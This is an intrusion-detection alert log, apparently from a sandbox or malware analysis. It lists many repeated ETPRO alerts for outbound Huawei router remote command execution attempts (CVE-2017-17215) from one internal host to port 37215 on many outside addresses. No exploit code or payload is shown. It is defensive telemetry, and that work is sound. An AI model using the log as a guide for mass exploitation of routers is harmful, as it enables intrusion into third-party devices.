ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.250.126.131

Timestamp:	2024-08-06T08:33:20.930112+0200
SID:	2835222
Source Port:	41426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.35.207.34

Timestamp:	2024-08-06T08:33:19.298718+0200
SID:	2835222
Source Port:	60052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.91.152.70

Timestamp:	2024-08-06T08:33:19.284138+0200
SID:	2835222
Source Port:	52938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.146.250.201

Timestamp:	2024-08-06T08:33:19.349118+0200
SID:	2835222
Source Port:	51952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.126.237.119

Timestamp:	2024-08-06T08:33:19.639404+0200
SID:	2835222
Source Port:	48888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.60.205.144

Timestamp:	2024-08-06T08:33:19.313554+0200
SID:	2835222
Source Port:	51722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.175.207.136

Timestamp:	2024-08-06T08:33:00.256834+0200
SID:	2835222
Source Port:	58810
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.3.58.68

Timestamp:	2024-08-06T08:33:19.294074+0200
SID:	2835222
Source Port:	57086
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.226.196.102

Timestamp:	2024-08-06T08:33:19.234719+0200
SID:	2835222
Source Port:	53130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.95.131.110

Timestamp:	2024-08-06T08:33:19.268575+0200
SID:	2835222
Source Port:	44956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.146.161.140

Timestamp:	2024-08-06T08:33:19.643460+0200
SID:	2835222
Source Port:	35842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.220.29.16

Timestamp:	2024-08-06T08:33:19.250496+0200
SID:	2835222
Source Port:	38670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.19.75.39

Timestamp:	2024-08-06T08:33:20.926100+0200
SID:	2835222
Source Port:	39924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.45.179.57

Timestamp:	2024-08-06T08:33:19.287627+0200
SID:	2835222
Source Port:	42906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.158.19.36

Timestamp:	2024-08-06T08:33:17.822151+0200
SID:	2835222
Source Port:	47016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.170.123.35

Timestamp:	2024-08-06T08:33:19.361231+0200
SID:	2835222
Source Port:	42256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.247.194.250

Timestamp:	2024-08-06T08:33:19.637142+0200
SID:	2835222
Source Port:	33062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.38.129.206

Timestamp:	2024-08-06T08:33:19.232536+0200
SID:	2835222
Source Port:	52202
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.38.241.60

Timestamp:	2024-08-06T08:33:19.299479+0200
SID:	2835222
Source Port:	34070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.202.46.32

Timestamp:	2024-08-06T08:33:19.250614+0200
SID:	2835222
Source Port:	40484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.180.58.253

Timestamp:	2024-08-06T08:33:00.051995+0200
SID:	2835222
Source Port:	43240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.49.6.9

Timestamp:	2024-08-06T08:33:19.216929+0200
SID:	2835222
Source Port:	45026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.216.33.121

Timestamp:	2024-08-06T08:33:19.235051+0200
SID:	2835222
Source Port:	34850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.84.239.116

Timestamp:	2024-08-06T08:33:19.360891+0200
SID:	2835222
Source Port:	54878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.254.175.110

Timestamp:	2024-08-06T08:33:20.942211+0200
SID:	2835222
Source Port:	51604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.14.35.101

Timestamp:	2024-08-06T08:33:19.218635+0200
SID:	2835222
Source Port:	33714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.222.74.186

Timestamp:	2024-08-06T08:33:19.246223+0200
SID:	2835222
Source Port:	38072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.52.78.180

Timestamp:	2024-08-06T08:33:20.938088+0200
SID:	2835222
Source Port:	41068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.32.32.223

Timestamp:	2024-08-06T08:33:20.950197+0200
SID:	2835222
Source Port:	37328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.220.115.179

Timestamp:	2024-08-06T08:33:19.295342+0200
SID:	2835222
Source Port:	43792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.127.251.19

Timestamp:	2024-08-06T08:33:19.636076+0200
SID:	2835222
Source Port:	39016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.96.163.90

Timestamp:	2024-08-06T08:33:04.056496+0200
SID:	2835222
Source Port:	51376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.132.11.69

Timestamp:	2024-08-06T08:33:20.926134+0200
SID:	2835222
Source Port:	51268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.226.194.179

Timestamp:	2024-08-06T08:33:19.311715+0200
SID:	2835222
Source Port:	56304
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.77.16.15

Timestamp:	2024-08-06T08:33:17.822149+0200
SID:	2835222
Source Port:	37882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.229.89.107

Timestamp:	2024-08-06T08:33:19.269257+0200
SID:	2835222
Source Port:	47950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.186.36.229

Timestamp:	2024-08-06T08:33:20.942127+0200
SID:	2835222
Source Port:	36220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.201.240.82

Timestamp:	2024-08-06T08:33:19.639582+0200
SID:	2835222
Source Port:	50348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.196.237.33

Timestamp:	2024-08-06T08:33:19.347749+0200
SID:	2835222
Source Port:	53150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.99.158.148

Timestamp:	2024-08-06T08:33:19.249590+0200
SID:	2835222
Source Port:	53836
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.183.46.173

Timestamp:	2024-08-06T08:33:19.233387+0200
SID:	2835222
Source Port:	60052
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.243.147.108

Timestamp:	2024-08-06T08:33:19.640008+0200
SID:	2835222
Source Port:	48688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.206.209.219

Timestamp:	2024-08-06T08:33:19.657702+0200
SID:	2835222
Source Port:	58266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.8.113.216

Timestamp:	2024-08-06T08:33:20.938132+0200
SID:	2835222
Source Port:	47486
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.245.156.218

Timestamp:	2024-08-06T08:33:20.942081+0200
SID:	2835222
Source Port:	51454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.42.85.198

Timestamp:	2024-08-06T08:33:19.268441+0200
SID:	2835222
Source Port:	54844
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.39.12.181

Timestamp:	2024-08-06T08:33:17.818178+0200
SID:	2835222
Source Port:	58786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.28.182.242

Timestamp:	2024-08-06T08:33:19.289809+0200
SID:	2835222
Source Port:	60216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.201.149.51

Timestamp:	2024-08-06T08:33:19.230315+0200
SID:	2835222
Source Port:	42842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.72.249.206

Timestamp:	2024-08-06T08:33:20.942124+0200
SID:	2835222
Source Port:	39848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.5.79.218

Timestamp:	2024-08-06T08:33:19.251684+0200
SID:	2835222
Source Port:	38808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.51.78.43

Timestamp:	2024-08-06T08:33:19.299952+0200
SID:	2835222
Source Port:	37148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.218.138.255

Timestamp:	2024-08-06T08:33:20.946051+0200
SID:	2835222
Source Port:	40392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.247.182.236

Timestamp:	2024-08-06T08:33:20.938046+0200
SID:	2835222
Source Port:	58954
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.61.105.166

Timestamp:	2024-08-06T08:33:19.622695+0200
SID:	2835222
Source Port:	60082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.252.199.111

Timestamp:	2024-08-06T08:33:20.942123+0200
SID:	2835222
Source Port:	55668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.39.222.191

Timestamp:	2024-08-06T08:33:19.248741+0200
SID:	2835222
Source Port:	57750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.162.103.68

Timestamp:	2024-08-06T08:33:19.265840+0200
SID:	2835222
Source Port:	60754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.104.64.187

Timestamp:	2024-08-06T08:33:19.269256+0200
SID:	2835222
Source Port:	48166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.115.124.112

Timestamp:	2024-08-06T08:33:19.640476+0200
SID:	2835222
Source Port:	34840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.21.190.34

Timestamp:	2024-08-06T08:33:19.230870+0200
SID:	2835222
Source Port:	56918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.94.250.60

Timestamp:	2024-08-06T08:33:19.269339+0200
SID:	2835222
Source Port:	48180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.121.124.148

Timestamp:	2024-08-06T08:33:21.402258+0200
SID:	2835222
Source Port:	39346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.169.123.156

Timestamp:	2024-08-06T08:33:20.938133+0200
SID:	2835222
Source Port:	48528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.118.71.208

Timestamp:	2024-08-06T08:33:19.309983+0200
SID:	2835222
Source Port:	55848
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.246.49.210

Timestamp:	2024-08-06T08:33:19.623036+0200
SID:	2835222
Source Port:	60190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.196.151.196

Timestamp:	2024-08-06T08:33:19.232323+0200
SID:	2835222
Source Port:	40768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.83.69.150

Timestamp:	2024-08-06T08:33:19.289810+0200
SID:	2835222
Source Port:	49832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.136.17.20

Timestamp:	2024-08-06T08:33:20.950279+0200
SID:	2835222
Source Port:	51366
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.228.21.108

Timestamp:	2024-08-06T08:33:19.236763+0200
SID:	2835222
Source Port:	52702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.17.230.208

Timestamp:	2024-08-06T08:33:20.938090+0200
SID:	2835222
Source Port:	38374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.135.80.58

Timestamp:	2024-08-06T08:33:19.282724+0200
SID:	2835222
Source Port:	59768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.157.57.38

Timestamp:	2024-08-06T08:33:19.199363+0200
SID:	2835222
Source Port:	44544
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.154.221.237

Timestamp:	2024-08-06T08:33:19.217061+0200
SID:	2835222
Source Port:	36250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.34.23.164

Timestamp:	2024-08-06T08:33:19.266862+0200
SID:	2835222
Source Port:	57354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.123.250.251

Timestamp:	2024-08-06T08:33:19.627006+0200
SID:	2835222
Source Port:	52128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.87.152.96

Timestamp:	2024-08-06T08:33:20.926180+0200
SID:	2835222
Source Port:	48972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.85.183.189

Timestamp:	2024-08-06T08:33:19.295979+0200
SID:	2835222
Source Port:	53042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.232.249.220

Timestamp:	2024-08-06T08:33:20.938047+0200
SID:	2835222
Source Port:	32950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.210.183.23

Timestamp:	2024-08-06T08:33:19.266009+0200
SID:	2835222
Source Port:	48930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.75.95.48

Timestamp:	2024-08-06T08:33:19.283528+0200
SID:	2835222
Source Port:	56894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.38.36.98

Timestamp:	2024-08-06T08:33:19.641593+0200
SID:	2835222
Source Port:	53542
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.123.145.69

Timestamp:	2024-08-06T08:33:20.946065+0200
SID:	2835222
Source Port:	44336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.126.103.42

Timestamp:	2024-08-06T08:33:17.814338+0200
SID:	2835222
Source Port:	47306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.144.57.192

Timestamp:	2024-08-06T08:33:17.814295+0200
SID:	2835222
Source Port:	35264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.241.250.246

Timestamp:	2024-08-06T08:33:19.289924+0200
SID:	2835222
Source Port:	44062
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.184.42.189

Timestamp:	2024-08-06T08:33:19.295701+0200
SID:	2835222
Source Port:	59714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.126.48.149

Timestamp:	2024-08-06T08:33:19.624430+0200
SID:	2835222
Source Port:	43938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.51.154.85

Timestamp:	2024-08-06T08:33:20.942057+0200
SID:	2835222
Source Port:	35898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.217.111.255

Timestamp:	2024-08-06T08:33:19.285489+0200
SID:	2835222
Source Port:	42878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.100.253.74

Timestamp:	2024-08-06T08:33:20.938113+0200
SID:	2835222
Source Port:	50764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.43.16.56

Timestamp:	2024-08-06T08:33:23.373173+0200
SID:	2835222
Source Port:	58012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.151.233.217

Timestamp:	2024-08-06T08:33:19.329770+0200
SID:	2835222
Source Port:	39872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.50.53.98

Timestamp:	2024-08-06T08:33:20.946022+0200
SID:	2835222
Source Port:	43056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.33.107.238

Timestamp:	2024-08-06T08:33:20.950158+0200
SID:	2835222
Source Port:	49068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 156.15.177.26

Timestamp:	2024-08-06T08:33:17.822163+0200
SID:	2835222
Source Port:	39632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.158.83.113

Timestamp:	2024-08-06T08:33:19.282717+0200
SID:	2835222
Source Port:	43498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.48.87.163

Timestamp:	2024-08-06T08:33:20.950245+0200
SID:	2835222
Source Port:	47420
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.225.151.149

Timestamp:	2024-08-06T08:33:19.297066+0200
SID:	2835222
Source Port:	40218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

